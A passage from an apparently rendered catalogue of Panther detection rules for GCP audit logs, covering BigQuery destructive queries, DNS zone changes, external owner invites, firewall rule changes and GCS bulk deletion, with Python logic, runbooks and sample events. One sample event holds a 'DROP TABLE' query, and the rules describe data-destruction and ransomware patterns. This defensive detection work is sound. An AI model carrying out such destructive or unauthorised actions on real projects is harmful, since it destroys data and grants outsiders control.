            default="<STATEMENT_NOT_FOUND>",
        ),
        "table": event.deep_get(
            "protoPayload",
            "metadata",
            "jobChange",
            "job",
            "jobConfig",
            "queryConfig",
            "destinationTable",
        )
        or event.deep_get("protoPayload", "metadata", "resourceName", default="<TABLE_NOT_FOUND>"),
    }

Rule specification

AnalysisType: rule
Description: Detect any destructive BigQuery queries or jobs such as update, delete, drop, alter or truncate.
DisplayName: "GCP Destructive Queries"
Enabled: true
Filename: gcp_destructive_queries.py
Reference: https://cloud.google.com/bigquery/docs/managing-tables
Severity: Info
SummaryAttributes:
  - p_alert_context.table
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.Destructive.Queries"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • all of:
      • resource.type starts with bigquery
      • protoPayload.metadata.jobChange.job.jobConfig.type is QUERY
      • protoPayload.metadata.jobChange.job.jobConfig.queryConfig.statementType is one of UPDATE, DELETE, DROP_TABLE, ALTER_TABLE, TRUNCATE_TABLE
    • protoPayload.metadata.tableDeletion is present
    • protoPayload.metadata.datasetDeletion is present

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
queryprotoPayload.metadata.jobChange.job.jobConfig.queryConfig.query
actorprotoPayload.authenticationInfo.principalEmail
statementprotoPayload.metadata.jobChange.job.jobConfig.queryConfig.statementType
tableprotoPayload.metadata.jobChange.job.jobConfig.queryConfig.destinationTable

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "abcdefghijklmn",
  "logname": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Fdata_access",
  "operation": {
    "id": "1234567890123-gcp-project1:abcdefghijklmnopqrstuvwz",
    "last": true,
    "producer": "bigquery.googleapis.com"
  },
  "p_any_emails": [
    "user@company.io"
  ],
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-28 18:37:06.079",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-28 18:38:14.478",
  "p_row_id": "06bf03d9d5dfbadba981899e1787bf05",
  "p_schema_version": 0,
  "p_source_id": "964c7894-9a0d-4ddf-864f-0193438221d6",
  "p_source_label": "gcp-logsource",
  "protopayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "bigquery.jobs.create",
        "resource": "projects/gcp-project1"
      }
    ],
    "metadata": {
      "@type": "type.googleapis.com/google.cloud.audit.BigQueryAuditMetadata",
      "jobChange": {
        "after": "DONE",
        "job": {
          "jobConfig": {
            "queryConfig": {
              "createDisposition": "CREATE_IF_NEEDED",
              "destinationTable": "projects/gcp-project1/datasets/test1/tables/newtable",
              "priority": "QUERY_INTERACTIVE",
              "query": "DROP TABLE test1.newtable",
              "statementType": "DROP_TABLE",
              "writeDisposition": "WRITE_EMPTY"
            },
            "type": "QUERY"
          },
          "jobName": "projects/gcp-project1/jobs/abcdefghijklmnopqrstuvwz",
          "jobStats": {
            "createTime": "2023-03-28T18:37:05.842Z",
            "endTime": "2023-03-28T18:37:06.073Z",
            "queryStats": {},
            "startTime": "2023-03-28T18:37:05.934Z"
          },
          "jobStatus": {
            "jobState": "DONE"
          }
        }
      }
    },
    "methodName": "google.cloud.bigquery.v2.JobService.InsertJob",
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)"
    },
    "resourceName": "projects/gcp-project1/jobs/abcdefghijklmnopqrstuvwz",
    "serviceName": "bigquery.googleapis.com",
    "status": {}
  },
  "receivetimestamp": "2023-03-28 18:37:06.745",
  "resource": {
    "labels": {
      "location": "US",
      "project_id": "gcp-project1"
    },
    "type": "bigquery_project"
  },
  "severity": "INFO",
  "timestamp": "2023-03-28 18:37:06.079"
}

GCP DNS Zone Modified or Deleted

#
Severity
low
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detection for GCP DNS zones that are deleted, patched, or updated.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    methods = (
        "dns.changes.create",
        "dns.managedZones.delete",
        "dns.managedZones.patch",
        "dns.managedZones.update",
    )
    return event.deep_get("protoPayload", "methodName", default="") in methods


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    return f"[GCP]: [{actor}] modified managed DNS zone [{resource}]"


def dedup(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return actor


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
Description: Detection for GCP DNS zones that are deleted, patched, or updated.
DisplayName: "GCP DNS Zone Modified or Deleted"
Enabled: true
Filename: gcp_dns_zone_modified_or_deleted.py
Runbook: Verify that this modification or deletion was expected. These operations are high-impact events and can result in downtimes or total outages.
Reference: https://cloud.google.com/dns/docs/zones
Severity: Low
DedupPeriodMinutes: 90
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.DNS.Zone.Modified.or.Deleted"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName is one of dns.changes.create, dns.managedZones.delete, dns.managedZones.patch, dns.managedZones.update
Alert deduplication
repeat matches within 90m group into one alert

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • dns.changes.create
  • dns.managedZones.delete
  • dns.managedZones.patch
  • dns.managedZones.update
field:"protoPayload.methodName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Verify that this modification or deletion was expected. These operations are high-impact events and can result in downtimes or total outages.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "-xxxxxxxxxxxx",
  "logName": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@domain.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "dns.managedZones.delete",
        "resourceAttributes": {}
      }
    ],
    "methodName": "dns.managedZones.delete",
    "request": {
      "@type": "type.googleapis.com/cloud.dns.api.ManagedZonesDeleteRequest",
      "managedZone": "test-zone",
      "project": "test-project-123456"
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-05-23T19:08:13.820007Z"
      }
    },
    "resourceName": "managedZones/test-zone",
    "response": {
      "@type": "type.googleapis.com/cloud.dns.api.ManagedZonesDeleteResponse"
    },
    "serviceName": "dns.googleapis.com",
    "status": {}
  },
  "receivetimestamp": "2023-05-23 19:08:14.305",
  "resource": {
    "labels": {
      "location": "global",
      "project_id": "test-project-123456",
      "zone_name": "test-zone"
    },
    "type": "dns_managed_zone"
  },
  "severity": "NOTICE",
  "timestamp": "2023-05-23 19:08:11.697"
}

GCP External User Ownership Invite

#
Severity
high
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects when an external user is invited as an owner of a GCP project using the InsertProjectOwnershipInvite event.

Telemetry coverage

PlatformRecord / event type
GCPInsertProjectOwnershipInvite

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if event.deep_get("protoPayload", "response", "error"):
        return False

    method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
    if method != "InsertProjectOwnershipInvite":
        return False

    authenticated = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default=""
    )
    expected_domain = authenticated.split("@")[-1]

    if event.deep_get("protoPayload", "request", "member", default="MEMBER_NOT_FOUND").endswith(
        f"@{expected_domain}"
    ):
        return False

    return True


def title(event):
    member = event.deep_get("protoPayload", "request", "member", default="<MEMBER_NOT_FOUND>")
    project = event.deep_get("protoPayload", "resourceName", default="<PROJECT_NOT_FOUND>")
    return f"[GCP]: External user [{member}] was invited as owner to project [{project}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP External User Ownership Invite
Enabled: true
Filename: gcp_invite_external_user_as_owner.py
RuleID: "GCP.Project.ExternalUserOwnershipInvite"
Severity: High
LogTypes:
  - GCP.AuditLog
Description: >
  This rule detects when an external user is invited as an owner of a GCP project using the InsertProjectOwnershipInvite event.
Runbook: >
  Investigate the invitation to ensure it was authorized. Unauthorized invitations can lead to security risks. If the invitation was unauthorized, revoke the user's access to the project.
Reference: https://cloud.google.com/resource-manager/docs/project-ownership

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.error is empty
  • protoPayload.methodName is InsertProjectOwnershipInvite

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName
memberprotoPayload.request.member

Response runbook

Investigate the invitation to ensure it was authorized. Unauthorized invitations can lead to security risks. If the invitation was unauthorized, revoke the user's access to the project.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1abcd23efg456",
  "logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@runpanther.com"
    },
    "methodName": "InsertProjectOwnershipInvite",
    "request": {
      "@type": "type.googleapis.com/google.internal.cloud.resourcemanager.InsertProjectOwnershipInviteRequest",
      "member": "user:attacker@gmail.com",
      "projectId": "target-project"
    },
    "resourceName": "projects/target-project",
    "response": {
      "@type": "type.googleapis.com/google.internal.cloud.resourcemanager.InsertProjectOwnershipInviteResponse"
    },
    "serviceName": "cloudresourcemanager.googleapis.com"
  },
  "resource": {
    "labels": {
      "project_id": "target-project"
    },
    "type": "gce_project"
  },
  "severity": "NOTICE",
  "timestamp": "2023-10-01T12:34:56.789Z"
}

GCP Firewall Rule Created

#
Severity
low
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Tags
GCP, Firewall, Networking, Infrastructure
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects creations of GCP firewall rules.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context

RULE_CREATED_PARTS = [
    ".Firewall.Create",
    ".compute.firewalls.insert",
]


def rule(event):
    method = event.deep_get("protoPayload", "methodName", default="")
    return any(part in method for part in RULE_CREATED_PARTS)


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get(
        "protoPayload",
        "resourceName",
        default="<RESOURCE_NOT_FOUND>",
    )
    resource_id = event.deep_get(
        "resource",
        "labels",
        "firewall_rule_id",
        default="<RESOURCE_ID_NOT_FOUND>",
    )
    if resource_id != "<RESOURCE_ID_NOT_FOUND>":
        return f"[GCP]: [{actor}] created firewall rule with resource ID [{resource_id}]"
    return f"[GCP]: [{actor}] created firewall rule for resource [{resource}]"


def dedup(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return actor


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 90
DisplayName: GCP Firewall Rule Created
Enabled: true
Filename: gcp_firewall_rule_created.py
RuleID: "GCP.Firewall.Rule.Created"
Severity: Low
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Firewall
  - Networking
  - Infrastructure
Description: >
  This rule detects creations of GCP firewall rules.
Runbook: >
  Ensure that the rule creation was expected. Firewall rule creations can expose [vulnerable] resoures to the internet.
Reference: https://cloud.google.com/firewall/docs/about-firewalls

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • protoPayload.methodName contains .Firewall.Create
    • protoPayload.methodName contains .compute.firewalls.insert
Alert deduplication
repeat matches within 90m group into one alert

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamecontains
  • .Firewall.Create
  • .compute.firewalls.insert
field:"protoPayload.methodName" kind:contains

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName
firewall_rule_idresource.labels.firewall_rule_id

Response runbook

Ensure that the rule creation was expected. Firewall rule creations can expose [vulnerable] resoures to the internet.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "-xxxxxxxxxxxx",
  "logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "first": true,
    "id": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
    "producer": "compute.googleapis.com"
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@domain.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "compute.firewalls.update",
        "resourceAttributes": {
          "name": "projects/test-project-123456/global/firewalls/firewall-create",
          "service": "compute",
          "type": "compute.firewalls"
        }
      },
      {
        "granted": true,
        "permission": "compute.networks.updatePolicy",
        "resourceAttributes": {
          "name": "projects/test-project-123456/global/networks/default",
          "service": "compute",
          "type": "compute.networks"
        }
      }
    ],
    "methodName": "v1.compute.firewalls.insert",
    "request": {
      "@type": "type.googleapis.com/compute.firewalls.insert",
      "denieds": [
        {
          "IPProtocol": "all"
        }
      ]
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
        "time": "2023-05-23T19:19:41.154751Z"
      }
    },
    "resourceName": "projects/test-project-123456/global/firewalls/firewall-create",
    "response": {
      "@type": "type.googleapis.com/operation",
      "id": "896785227463044899",
      "insertTime": "2023-05-23T12:19:40.876-07:00",
      "name": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
      "operationType": "patch",
      "progress": "0",
      "selfLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
      "selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/896785227463044899",
      "startTime": "2023-05-23T12:19:40.888-07:00",
      "status": "RUNNING",
      "targetId": "6563507997690081088",
      "targetLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/firewalls/firewall-create",
      "user": "user@domain.com"
    },
    "serviceName": "compute.googleapis.com"
  },
  "receivetimestamp": "2023-05-23 19:19:41.238",
  "resource": {
    "labels": {
      "firewall_rule_id": "6563507997690081088",
      "project_id": "test-project-123456"
    },
    "type": "gce_firewall_rule"
  },
  "severity": "NOTICE",
  "timestamp": "2023-05-23 19:19:40.353"
}

GCP Firewall Rule Deleted

#
Severity
low
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Tags
GCP, Firewall, Networking, Infrastructure
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects deletions of GCP firewall rules.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context

RULE_DELETED_PARTS = [
    ".Firewall.Delete",
    ".compute.firewalls.delete",
]


def rule(event):
    method = event.deep_get("protoPayload", "methodName", default="")
    return any(part in method for part in RULE_DELETED_PARTS)


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get(
        "protoPayload",
        "resourceName",
        default="<RESOURCE_NOT_FOUND>",
    )
    resource_id = event.deep_get(
        "resource",
        "labels",
        "firewall_rule_id",
        default="<RESOURCE_ID_NOT_FOUND>",
    )
    if resource_id != "<RESOURCE_ID_NOT_FOUND>":
        return f"[GCP]: [{actor}] deleted firewall rule with resource ID [{resource_id}]"
    return f"[GCP]: [{actor}] deleted firewall rule for resource [{resource}]"


def dedup(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return actor


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 90
DisplayName: GCP Firewall Rule Deleted
Enabled: true
Filename: gcp_firewall_rule_deleted.py
RuleID: "GCP.Firewall.Rule.Deleted"
Severity: Low
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Firewall
  - Networking
  - Infrastructure
Description: >
  This rule detects deletions of GCP firewall rules.
Runbook: >
  Ensure that the rule deletion was expected. Firewall rule deletions can cause service interruptions or outages.
Reference: https://cloud.google.com/firewall/docs/about-firewalls

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • protoPayload.methodName contains .Firewall.Delete
    • protoPayload.methodName contains .compute.firewalls.delete
Alert deduplication
repeat matches within 90m group into one alert

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamecontains
  • .Firewall.Delete
  • .compute.firewalls.delete
field:"protoPayload.methodName" kind:contains

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName
firewall_rule_idresource.labels.firewall_rule_id

Response runbook

Ensure that the rule deletion was expected. Firewall rule deletions can cause service interruptions or outages.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "-xxxxxxxx",
  "logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "id": "operation-1684869594486-5fc6145ac17b3-6f92b265-43256266",
    "last": true,
    "producer": "compute.googleapis.com"
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@domain.com"
    },
    "methodName": "v1.compute.firewalls.delete",
    "request": {
      "@type": "type.googleapis.com/compute.firewalls.delete"
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)"
    },
    "resourceName": "projects/test-project-123456/global/firewalls/firewall-create",
    "serviceName": "compute.googleapis.com"
  },
  "receivetimestamp": "2023-05-23 19:20:00.728",
  "resource": {
    "labels": {
      "firewall_rule_id": "6563507997690081088",
      "project_id": "test-project-123456"
    },
    "type": "gce_firewall_rule"
  },
  "severity": "NOTICE",
  "timestamp": "2023-05-23 19:20:00.396"
}

GCP Firewall Rule Modified

#
Severity
low
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Tags
GCP, Firewall, Networking, Infrastructure
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects modifications to GCP firewall rules.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context

RULE_MODIFIED_PARTS = [
    ".Firewall.Update",
    ".compute.firewalls.patch",
    ".compute.firewalls.update",
]


def rule(event):
    method = event.deep_get("protoPayload", "methodName", default="")
    return any(part in method for part in RULE_MODIFIED_PARTS)


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    return f"[GCP]: [{actor}] modified firewall rule on [{resource}]"


def dedup(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return actor


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 90
DisplayName: GCP Firewall Rule Modified
Enabled: true
Filename: gcp_firewall_rule_modified.py
RuleID: "GCP.Firewall.Rule.Modified"
Severity: Low
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Firewall
  - Networking
  - Infrastructure
Description: >
  This rule detects modifications to GCP firewall rules.
Runbook: >
  Ensure that the rule modification was expected. Firewall rule changes can cause service interruptions or outages.
Reference: https://cloud.google.com/firewall/docs/about-firewalls

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • protoPayload.methodName contains .Firewall.Update
    • protoPayload.methodName contains .compute.firewalls.patch
    • protoPayload.methodName contains .compute.firewalls.update
Alert deduplication
repeat matches within 90m group into one alert

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamecontains
  • .Firewall.Update
  • .compute.firewalls.patch
  • .compute.firewalls.update
field:"protoPayload.methodName" kind:contains

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Ensure that the rule modification was expected. Firewall rule changes can cause service interruptions or outages.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "-xxxxxxxxxxxx",
  "logname": "projects/test-project-123456/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "first": true,
    "id": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
    "producer": "compute.googleapis.com"
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@domain.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "compute.firewalls.update",
        "resourceAttributes": {
          "name": "projects/test-project-123456/global/firewalls/firewall-create",
          "service": "compute",
          "type": "compute.firewalls"
        }
      },
      {
        "granted": true,
        "permission": "compute.networks.updatePolicy",
        "resourceAttributes": {
          "name": "projects/test-project-123456/global/networks/default",
          "service": "compute",
          "type": "compute.networks"
        }
      }
    ],
    "methodName": "v1.compute.firewalls.patch",
    "request": {
      "@type": "type.googleapis.com/compute.firewalls.patch",
      "denieds": [
        {
          "IPProtocol": "all"
        }
      ]
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
        "time": "2023-05-23T19:19:41.154751Z"
      }
    },
    "resourceName": "projects/test-project-123456/global/firewalls/firewall-create",
    "response": {
      "@type": "type.googleapis.com/operation",
      "id": "896785227463044899",
      "insertTime": "2023-05-23T12:19:40.876-07:00",
      "name": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
      "operationType": "patch",
      "progress": "0",
      "selfLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
      "selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/896785227463044899",
      "startTime": "2023-05-23T12:19:40.888-07:00",
      "status": "RUNNING",
      "targetId": "6563507997690081088",
      "targetLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/firewalls/firewall-create",
      "user": "user@domain.com"
    },
    "serviceName": "compute.googleapis.com"
  },
  "receivetimestamp": "2023-05-23 19:19:41.238",
  "resource": {
    "labels": {
      "firewall_rule_id": "6563507997690081088",
      "project_id": "test-project-123456"
    },
    "type": "gce_firewall_rule"
  },
  "severity": "NOTICE",
  "timestamp": "2023-05-23 19:19:40.353"
}

GCP GCS Bulk Object Deletion

#
Status
Experimental
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Google Cloud Storage, Impact:Data Destruction, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects bulk deletion of GCS objects. This pattern is indicative of a ransomware attack or data destruction where an adversary deletes storage objects at scale. The threshold of 10+ deletion operations suggests automated bulk deletion rather than normal application behavior. This can be part of a double extortion ransomware attack where data is both encrypted and deleted to increase pressure on victims.

MITRE ATT&CK coverage

TacticTechniques
Impact

Telemetry coverage

PlatformRecord / event type
GCPstorage.objects.delete: delete

Detection logic

def rule(event):

    method_name = event.deep_get("protoPayload", "methodName", default="UNKNOWN_METHOD_NAME")
    service_name = event.deep_get("protoPayload", "serviceName")
    severity = event.get("severity")
    return all(
        [
            method_name == "storage.objects.delete",
            service_name == "storage.googleapis.com",
            severity != "ERROR",  # Operation succeeded
        ]
    )


def title(event):
    principal = event.deep_get("protoPayload", "authenticationInfo", "principalEmail")
    resource = event.deep_get("protoPayload", "resourceName")
    return f"GCP: Bulk object deletion in resource [{resource}] by principal [{principal}]"


def alert_context(event):
    return {
        "principal": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "project": event.deep_get("resource", "labels", "project_id"),
        "status": event.deep_get("protoPayload", "status"),
        "location": event.deep_get("resource", "labels", "location"),
        "resource": event.deep_get("protoPayload", "resourceName"),
    }

Rule specification

AnalysisType: rule
Filename: gcp_gcs_bulk_deletion.py
RuleID: "GCP.GCS.BulkDeletion"
DisplayName: "GCP GCS Bulk Object Deletion"
Enabled: true
Status: Experimental
Threshold: 10
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud Storage
  - Impact:Data Destruction
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0040:T1485
Severity: Medium
Description: >
  Detects bulk deletion of GCS objects. This pattern is indicative of a ransomware attack
  or data destruction where an adversary deletes storage objects at scale. The threshold
  of 10+ deletion operations suggests automated bulk deletion rather than normal application
  behavior. This can be part of a double extortion ransomware attack where data is both
  encrypted and deleted to increase pressure on victims.
Runbook: |
  1. Query GCP Audit logs for all storage.objects.delete operations by the principal email in the 1 hour window around this alert
  2. Identify the total number of deletion operations, affected buckets, and the rate of deletions per minute
  3. Check if the source IP matches the user's typical access patterns or is associated with known VPN/cloud providers
  4. Determine if the deleted objects can be recovered from versioning, soft delete, or backups
  5. Search for other ransomware indicators (KMS key changes, bucket configuration changes, bulk encryption) from this project in the past 24 hours
  6. Review IAM policy changes for the principal to determine if permissions were recently escalated
Reference: https://cloud.google.com/storage/docs/json_api/v1/objects/delete
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_emails

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is storage.objects.delete
  • protoPayload.serviceName is storage.googleapis.com
  • severity is not ERROR
Alert cadence
alerts after 10 matches within 1h

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalprotoPayload.authenticationInfo.principalEmail
projectresource.labels.project_id
statusprotoPayload.status
locationresource.labels.location
resourceprotoPayload.resourceName

Response runbook

1. Query GCP Audit logs for all storage.objects.delete operations by the principal email in the 1 hour window around this alert

2. Identify the total number of deletion operations, affected buckets, and the rate of deletions per minute

3. Check if the source IP matches the user's typical access patterns or is associated with known VPN/cloud providers

4. Determine if the deleted objects can be recovered from versioning, soft delete, or backups

5. Search for other ransomware indicators (KMS key changes, bucket configuration changes, bulk encryption) from this project in the past 24 hours

6. Review IAM policy changes for the principal to determine if permissions were recently escalated

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "denethor@lotr.com"
    },
    "methodName": "storage.objects.delete",
    "resourceName": "projects/_/buckets/test-bucket/objects/test-file.txt",
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "resource": {
    "labels": {
      "bucket_name": "test-bucket",
      "location": "us",
      "project_id": "test-project"
    },
    "type": "gcs_bucket"
  },
  "severity": "NOTICE",
  "timestamp": "2025-12-15 15:40:29.533794920"
}

GCP GCS Bulk Object Rewrite Operation

#
Severity
medium
Group by
protoPayload.authenticationInfo.principalEmail, resource.labels.bucket_name
Entities
emails, ip_addresses, usernames
Compliance
CIS 2.1
Log types
